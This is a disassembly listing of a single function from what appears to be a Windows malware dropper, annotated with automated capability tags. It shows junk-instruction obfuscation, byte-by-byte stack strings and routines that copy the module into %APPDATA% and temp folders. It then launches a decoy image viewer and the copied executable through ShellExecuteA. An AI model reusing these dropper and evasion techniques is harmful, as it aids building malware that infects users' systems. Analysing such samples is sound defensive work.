Function at 0x10010259
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10010b90
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x600
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push ebp
nop
mov ebp, esp
push 0x3a0f
inc ecx
dec ecx
test esi, esi
nop
mov esp, ebp
nop
pop ebp
add eax, 0
jne 0x100101b1
je 0x100101b1
call 0x6501c238
add eax, 0
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
push ebp
nop
mov ebp, esp
add esp, 4
add esp, 0xfffffffc
inc ecx
dec ecx
add esp, 6
sub esp, 6
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
nop
nop
push str.PathRemoveFileSpecA
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3c], eax
nop
push str.GetModuleFileNameA
push 0x100159ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
nop
push str.ExpandEnvironmentStringsA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 0
lea eax, [0x10010259]
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
mov esp, ebp
nop
pop ebp
and eax, 0xfffff000
sub eax, 0x1000
push ebp
nop
mov ebp, esp
test esi, esi
add esp, 0xa
sub esp, 0xa
push 0xffffb736
mov esp, ebp
nop
pop ebp
cmp word [eax], 0x5a4d
jne 0x10010259
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 1
sub esp, 1
test esi, esi
nop
mov esp, ebp
pop ebp
mov dword [ebp - 0x28], eax
jmp 0x10010297
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
push 0x104
push 0x10016264
mov ecx, dword [ebp - 0x28]
push ecx
call dword [ebp - 0x20]
nop
push ebp
nop
mov ebp, esp
add esp, 0x1f
sub esp, 0x1f
inc ecx
dec ecx
add esp, 0x47
add esp, 0xffffffb9
mov esp, ebp
pop ebp
push 0x10016264
call dword [sym.imp.MSVCRT.dll__strlwr]
add esp, 4
mov byte [ebp - 0x38], 0
xor edx, edx
mov dword [ebp - 0x37], edx
mov dword [ebp - 0x33], edx
mov dword [ebp - 0x2f], edx
mov word [ebp - 0x2b], dx
mov byte [ebp - 0x29], dl
push str.dipapi.ps
lea eax, [ebp - 0x38]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
add esp, 4
add esp, 0xfffffffc
add esp, 9
add esp, 0xfffffff7
inc ecx
dec ecx
mov byte [ebp - 0x1c], 0
xor ecx, ecx
mov dword [ebp - 0x1b], ecx
mov dword [ebp - 0x17], ecx
mov word [ebp - 0x13], cx
mov byte [ebp - 0x11], cl
push str.addbin
lea edx, [ebp - 0x1c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push ebp
nop
mov ebp, esp
push ebx
pop ebx
inc ecx
dec ecx
test esi, esi
add esp, 4
add esp, 0xfffffffc
mov esp, ebp
nop
pop ebp
lea eax, [ebp - 0x38]
push eax
push 0x10016264
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x10010b0b
nop
push ebp
mov ebp, esp
add esp, 0x1f
add esp, 0xffffffe1
add esp, 7
sub esp, 7
test esi, esi
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
mov byte [ebp - 0x184], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x183]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x184], 0x25
mov byte [ebp - 0x183], 0x41
mov byte [ebp - 0x182], 0x50
mov byte [ebp - 0x181], 0x50
mov byte [ebp - 0x180], 0x44
mov byte [ebp - 0x17f], 0x41
mov byte [ebp - 0x17e], 0x54
mov byte [ebp - 0x17d], 0x41
mov byte [ebp - 0x17c], 0x25
mov byte [ebp - 0x17b], 0x5c
nop
nop
push ebp
nop
mov ebp, esp
test esi, esi
inc ecx
dec ecx
push 0x7043
add esp, 0xa
add esp, 0xfffffff6
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x184]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
nop
nop
push ebp
mov ebp, esp
push 0x109d
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x288], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x287]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x184]
push ecx
call dword [ebp - 0x40]
push 0
lea edx, [ebp - 0x288]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
push ebp
mov ebp, esp
add esp, 8
sub esp, 8
add esp, 7
add esp, 0xfffffff9
test esi, esi
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov byte [ebp - 0x5f4], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x5f3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0x5f4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x5f4]
push eax
call fcn.1000fd96
add esp, 8
push 0
lea ecx, [ebp - 0x5f4]
push ecx
push 0x10016264
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x610], 0
xor edx, edx
mov dword [ebp - 0x60f], edx
mov dword [ebp - 0x60b], edx
mov word [ebp - 0x607], dx
mov byte [ebp - 0x605], dl
mov byte [ebp - 0x610], 0x5c
mov byte [ebp - 0x60f], 0x74
mov byte [ebp - 0x60e], 0x65
mov byte [ebp - 0x60d], 0x6d
mov byte [ebp - 0x60c], 0x70
lea eax, [ebp - 0x610]
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.1000fd96
add esp, 8
nop
push ebp
mov ebp, esp
test esi, esi
add esp, 6
sub esp, 6
inc ecx
dec ecx
add esp, 5
sub esp, 5
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x164], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x163]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x20]
push 0x5c
lea ecx, [ebp - 0x164]
push ecx
call fcn.10010b70
add esp, 8
mov byte [eax], 0
lea edx, [ebp - 0x610]
push edx
lea eax, [ebp - 0x164]
push eax
call fcn.1000fd96
add esp, 8
push 0
lea ecx, [ebp - 0x288]
push ecx
lea edx, [ebp - 0x164]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov byte [ebp - 0x4f0], 0
xor eax, eax
mov dword [ebp - 0x4ef], eax
mov word [ebp - 0x4eb], ax
mov byte [ebp - 0x4e9], al
mov byte [ebp - 0x4f0], 0x4f
mov byte [ebp - 0x4ef], 0x70
mov byte [ebp - 0x4ee], 0x65
mov byte [ebp - 0x4ed], 0x6e
mov byte [ebp - 0x4e8], 0
xor ecx, ecx
mov dword [ebp - 0x4e7], ecx
mov dword [ebp - 0x4e3], ecx
mov dword [ebp - 0x4df], ecx
mov word [ebp - 0x4db], cx
mov byte [ebp - 0x4d9], cl
mov byte [ebp - 0x4e8], 0x53
mov byte [ebp - 0x4e7], 0x68
mov byte [ebp - 0x4e6], 0x65
mov byte [ebp - 0x4e5], 0x6c
mov byte [ebp - 0x4e4], 0x6c
mov byte [ebp - 0x4e3], 0x45
mov byte [ebp - 0x4e2], 0x78
mov byte [ebp - 0x4e1], 0x65
mov byte [ebp - 0x4e0], 0x63
mov byte [ebp - 0x4df], 0x75
mov byte [ebp - 0x4de], 0x74
mov byte [ebp - 0x4dd], 0x65
mov byte [ebp - 0x4dc], 0x41
lea edx, [ebp - 0x4e8]
push edx
push str.shell32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x29c], eax
push 0x10016264
call dword [ebp - 0x3c]
mov byte [ebp - 0x3a8], 0
xor eax, eax
mov dword [ebp - 0x3a7], eax
mov dword [ebp - 0x3a3], eax
mov word [ebp - 0x39f], ax
mov byte [ebp - 0x39d], al
mov byte [ebp - 0x3a8], 0x5c
mov byte [ebp - 0x3a7], 0x62
mov byte [ebp - 0x3a6], 0x62
mov byte [ebp - 0x3a5], 0x73
mov byte [ebp - 0x3a4], 0x2e
mov byte [ebp - 0x3a3], 0x62
mov byte [ebp - 0x3a2], 0x6d
mov byte [ebp - 0x3a1], 0x70
lea ecx, [ebp - 0x3a8]
push ecx
push 0x10016264
call fcn.1000fd96
add esp, 8
push ebp
mov ebp, esp
add esp, 3
sub esp, 3
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x4a8], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x4a7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebp
mov ebp, esp
add esp, 1
sub esp, 1
add esp, 0xa
add esp, 0xfffffff6
add esp, 7
sub esp, 7
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x4d8], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x4d7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x4d8], 0x73
mov byte [ebp - 0x4d7], 0x68
mov byte [ebp - 0x4d6], 0x69
mov byte [ebp - 0x4d5], 0x6d
mov byte [ebp - 0x4d4], 0x67
mov byte [ebp - 0x4d3], 0x76
mov byte [ebp - 0x4d2], 0x77
mov byte [ebp - 0x4d1], 0x2e
mov byte [ebp - 0x4d0], 0x64
mov byte [ebp - 0x4cf], 0x6c
mov byte [ebp - 0x4ce], 0x6c
nop
nop
push ebp
nop
mov ebp, esp
push esi
pop esi
inc ecx
dec ecx
push 0xffffc79a
nop
nop
mov esp, ebp
nop
nop
pop ebp
mov byte [ebp - 0x60], 0
mov ecx, 7
xor eax, eax
lea edi, [ebp - 0x5f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x60], 0x2c
mov byte [ebp - 0x5f], 0x49
mov byte [ebp - 0x5e], 0x6d
mov byte [ebp - 0x5d], 0x61
mov byte [ebp - 0x5c], 0x67
mov byte [ebp - 0x5b], 0x65
mov byte [ebp - 0x5a], 0x56
mov byte [ebp - 0x59], 0x69
mov byte [ebp - 0x58], 0x65
mov byte [ebp - 0x57], 0x77
mov byte [ebp - 0x56], 0x5f
mov byte [ebp - 0x55], 0x46
mov byte [ebp - 0x54], 0x75
mov byte [ebp - 0x53], 0x6c
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], 0x73
mov byte [ebp - 0x50], 0x63
mov byte [ebp - 0x4f], 0x72
mov byte [ebp - 0x4e], 0x65
mov byte [ebp - 0x4d], 0x65
mov byte [ebp - 0x4c], 0x6e
lea edx, [ebp - 0x4d8]
push edx
lea eax, [ebp - 0x4a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
nop
push ebp
nop
nop
mov ebp, esp
inc ecx
dec ecx
inc ecx
dec ecx
inc ecx
dec ecx
nop
mov esp, ebp
pop ebp
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x4a8]
push edx
call fcn.1000fd96
add esp, 8
push 0x10015a44
lea eax, [ebp - 0x4a8]
push eax
call fcn.1000fd96
add esp, 8
push 0x10016264
lea ecx, [ebp - 0x4a8]
push ecx
call fcn.1000fd96
add esp, 8
mov byte [ebp - 0x604], 0
xor edx, edx
mov dword [ebp - 0x603], edx
mov dword [ebp - 0x5ff], edx
mov dword [ebp - 0x5fb], edx
mov word [ebp - 0x5f7], dx
mov byte [ebp - 0x5f5], dl
mov byte [ebp - 0x604], 0x72
mov byte [ebp - 0x603], 0x75
mov byte [ebp - 0x602], 0x6e
mov byte [ebp - 0x601], 0x64
mov byte [ebp - 0x600], 0x6c
mov byte [ebp - 0x5ff], 0x6c
mov byte [ebp - 0x5fe], 0x33
mov byte [ebp - 0x5fd], 0x32
mov byte [ebp - 0x5fc], 0x2e
mov byte [ebp - 0x5fb], 0x65
mov byte [ebp - 0x5fa], 0x78
mov byte [ebp - 0x5f9], 0x65
nop
push ebp
mov ebp, esp
add esp, 0x13
sub esp, 0x13
test esi, esi
inc ecx
dec ecx
inc ecx
dec ecx
mov esp, ebp
pop ebp
push 5
push 0x10015a48
lea eax, [ebp - 0x4a8]
push eax
lea ecx, [ebp - 0x604]
push ecx
lea edx, [ebp - 0x4f0]
push edx
push 0
call dword [ebp - 0x29c]
mov byte [ebp - 0x39c], 0
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x39b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x5f4]
push eax
push str.__s__2
lea ecx, [ebp - 0x39c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
test esi, esi
add esp, 0x1d
add esp, 0xffffffe3
mov esp, ebp
nop
pop ebp
push 0x104
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0x184]
push eax
call dword [ebp - 0x40]
nop
nop
push ebp
nop
mov ebp, esp
add esp, 1
sub esp, 1
inc ecx
dec ecx
nop
mov esp, ebp
nop
pop ebp
mov byte [ebp - 0x4b8], 0
xor ecx, ecx
mov dword [ebp - 0x4b7], ecx
mov dword [ebp - 0x4b3], ecx
mov dword [ebp - 0x4af], ecx
mov word [ebp - 0x4ab], cx
mov byte [ebp - 0x4a9], cl
mov byte [ebp - 0x4b8], 0x5c
mov byte [ebp - 0x4b7], 0x63
mov byte [ebp - 0x4b6], 0x72
mov byte [ebp - 0x4b5], 0x6f
mov byte [ebp - 0x4b4], 0x73
mov byte [ebp - 0x4b3], 0x73
mov byte [ebp - 0x4b2], 0x66
mov byte [ebp - 0x4b1], 0x69
mov byte [ebp - 0x4b0], 0x72
mov byte [ebp - 0x4af], 0x65
mov byte [ebp - 0x4ae], 0x2e
mov byte [ebp - 0x4ad], 0x65
mov byte [ebp - 0x4ac], 0x78
mov byte [ebp - 0x4ab], 0x65
mov byte [ebp - 0x298], 0
xor edx, edx
mov dword [ebp - 0x297], edx
mov dword [ebp - 0x293], edx
mov dword [ebp - 0x28f], edx
mov word [ebp - 0x28b], dx
mov byte [ebp - 0x289], dl
mov byte [ebp - 0x298], 0x5c
mov byte [ebp - 0x297], 0x61
mov byte [ebp - 0x296], 0x6c
mov byte [ebp - 0x295], 0x69
mov byte [ebp - 0x294], 0x63
mov byte [ebp - 0x293], 0x65
mov byte [ebp - 0x292], 0x72
mov byte [ebp - 0x291], 0x74
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebp - 0x288]
push ecx
call fcn.1000fd96
add esp, 8
push 0x5c
lea edx, [ebp - 0x164]
push edx
call fcn.10010b70
add esp, 8
mov byte [eax], 0
lea eax, [ebp - 0x298]
push eax
lea ecx, [ebp - 0x164]
push ecx
call fcn.1000fd96
add esp, 8
push 0
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 5
push 0x10015a54
lea ecx, [ebp - 0x39c]
push ecx
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0x4f0]
push eax
push 0
call dword [ebp - 0x29c]
nop
push ebp
nop
mov ebp, esp
inc ecx
dec ecx
add esp, 6
add esp, 0xfffffffa
nop
mov esp, ebp
pop ebp
jmp 0x10010b5a
call fcn.1000fcfd
and eax, 0xff
test eax, eax
je 0x10010b1b
jmp 0x10010b5a
call fcn.1000fd41
and eax, 0xff
test eax, eax
je 0x10010b2b
jmp 0x10010b5a
push ebp
mov ebp, esp
push edi
pop edi
add esp, 0xa
sub esp, 0xa
push ebx
pop ebx
nop
mov esp, ebp
nop
pop ebp
push 0
call fcn.1000fe30
mov ecx, 1
test ecx, ecx
je 0x10010b5a
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10010b44
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret